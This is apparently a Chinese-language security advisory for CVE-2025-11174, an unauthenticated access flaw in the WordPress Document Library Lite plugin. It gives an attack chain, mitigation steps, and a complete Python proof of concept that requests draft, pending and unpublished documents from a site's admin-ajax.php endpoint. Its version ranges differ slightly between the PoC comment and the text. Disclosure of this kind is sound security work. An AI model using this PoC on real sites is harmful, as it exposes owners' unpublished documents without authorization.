IPBUF安全漏洞报告
English
CVE-2025-11174 CVSS 5.3 中危

CVE-2025-11174 WordPress Document Library Lite插件未授权访问漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-11174
漏洞类型
Improper Authorization(不当授权)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Document Library Lite plugin for WordPress

相关标签

Improper AuthorizationWordPressDocument Library LiteCVE-2025-11174Information DisclosureUnauthenticated AccessAJAX EndpointWordPress Plugin

漏洞概述

Document Library Lite是WordPress平台上广泛使用的一款文档管理插件,允许用户创建和管理文档库。在该插件1.1.6及之前的所有版本中,存在一个严重的安全漏洞,由于不当的授权检查缺失,导致未认证攻击者可以访问敏感信息。该漏洞源于插件暴露了一个未认证的AJAX端点dll_load_posts,该端点直接返回数据库中的文档数据JSON表格,但未执行任何nonce令牌验证或用户权限检查。更为严重的是,端点接受攻击者可控的args参数,其中status选项明确允许draft(草稿)、pending(待审)、future(定时发布)和any(任意)等值,这意味着攻击者可以通过构造恶意请求,指定status参数为draft或其他未发布状态,从而绕过正常的访问控制机制,获取未公开的文档标题和内容。这种信息泄露可能导致商业机密外泄、敏感文档暴露等严重后果。由于该漏洞无需认证即可利用,且攻击复杂度低,因此对使用该插件的网站构成较大威胁。

技术细节

该漏洞的技术根源在于WordPress插件的AJAX处理逻辑缺乏适当的安全验证机制。具体来说,问题出在插件的Ajax_Handler.php文件中(第23行和第32行附近),该文件处理dll_load_posts AJAX动作时存在以下缺陷:首先,插件使用wp_ajax_{action}或wp_ajax_nopriv_{action}钩子注册了dll_load_posts动作,但仅使用了nopriv钩子,这意味着未登录用户也可以访问该端点。其次,在处理请求时,代码直接接受并处理客户端提交的args数组参数,而没有进行任何权限检查或nonce验证。关键的漏洞点在于status参数的处理逻辑:当用户指定status为draft、pending、future或any时,系统会从WordPress数据库中查询对应状态的文档记录,而正常情况下这些未发布的内容只应对具有相应权限的登录用户可见。攻击者只需要构造一个POST请求到wp-admin/admin-ajax.php端点,设置action为dll_load_posts,并在args数组中指定status为draft,即可获取所有草稿状态的文档信息。由于WordPress的AJAX API设计特性,这种未经适当保护的端点可以直接被外部访问。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的WordPress Document Library Lite插件版本(通过插件目录或版本检测)
STEP 2
步骤2
攻击者构造恶意AJAX请求,发送到wp-admin/admin-ajax.php端点,设置action参数为dll_load_posts
STEP 3
步骤3
在args JSON对象中设置status参数为'draft'、'pending'、'future'或'any',绕过正常的内容访问控制
STEP 4
步骤4
服务器端插件代码接收请求,由于缺少nonce验证和权限检查,直接执行数据库查询
STEP 5
步骤5
查询结果(包含未发布文档的标题、内容等敏感信息)以JSON格式返回给攻击者
STEP 6
步骤6
攻击者获取这些敏感信息后,可用于进一步攻击或造成信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11174 PoC - Unauthenticated Document Disclosure # Target: WordPress with Document Library Lite plugin < 1.1.6 target_url = "http://target-site.com/wp-admin/admin-ajax.php" # PoC 1: Retrieve draft documents payload_draft = { "action": "dll_load_posts", "args": json.dumps({ "status": "draft", "per_page": 100, "page": 1 }) } # PoC 2: Retrieve pending review documents payload_pending = { "action": "dll_load_posts", "args": json.dumps({ "status": "pending", "per_page": 100, "page": 1 }) } # PoC 3: Retrieve all documents including unpublished payload_any = { "action": "dll_load_posts", "args": json.dumps({ "status": "any", "per_page": 100, "page": 1 }) } def exploit(payload, description): """Send malicious request to leak unpublished documents""" try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] {description}") print(f" Retrieved {len(data.get('data', []))} documents") # Extract document titles for item in data.get('data', [])[:5]: print(f" - {item.get('title', 'N/A')}") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") # Execute PoCs if __name__ == "__main__": print("CVE-2025-11174 - Document Library Lite Unauthorized Access") print("=" * 60) exploit(payload_draft, "Retrieving DRAFT documents") exploit(payload_pending, "Retrieving PENDING documents") exploit(payload_any, "Retrieving ALL documents (including unpublished)") print("\n[!] This PoC demonstrates the ability to access unpublished content") print("[!] Patch: Upgrade to Document Library Lite >= 1.1.7")

影响范围

Document Library Lite plugin for WordPress <= 1.1.6

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1)在Web服务器层面限制对wp-admin/admin-ajax.php的访问,只允许已登录用户访问;2)使用Security插件(如Wordfence)添加额外的访问控制规则;3)暂时禁用Document Library Lite插件直到完成升级;4)实施基于IP的访问限制,减少暴露面。同时建议检查服务器日志,排查是否存在针对该端点的异常探测行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表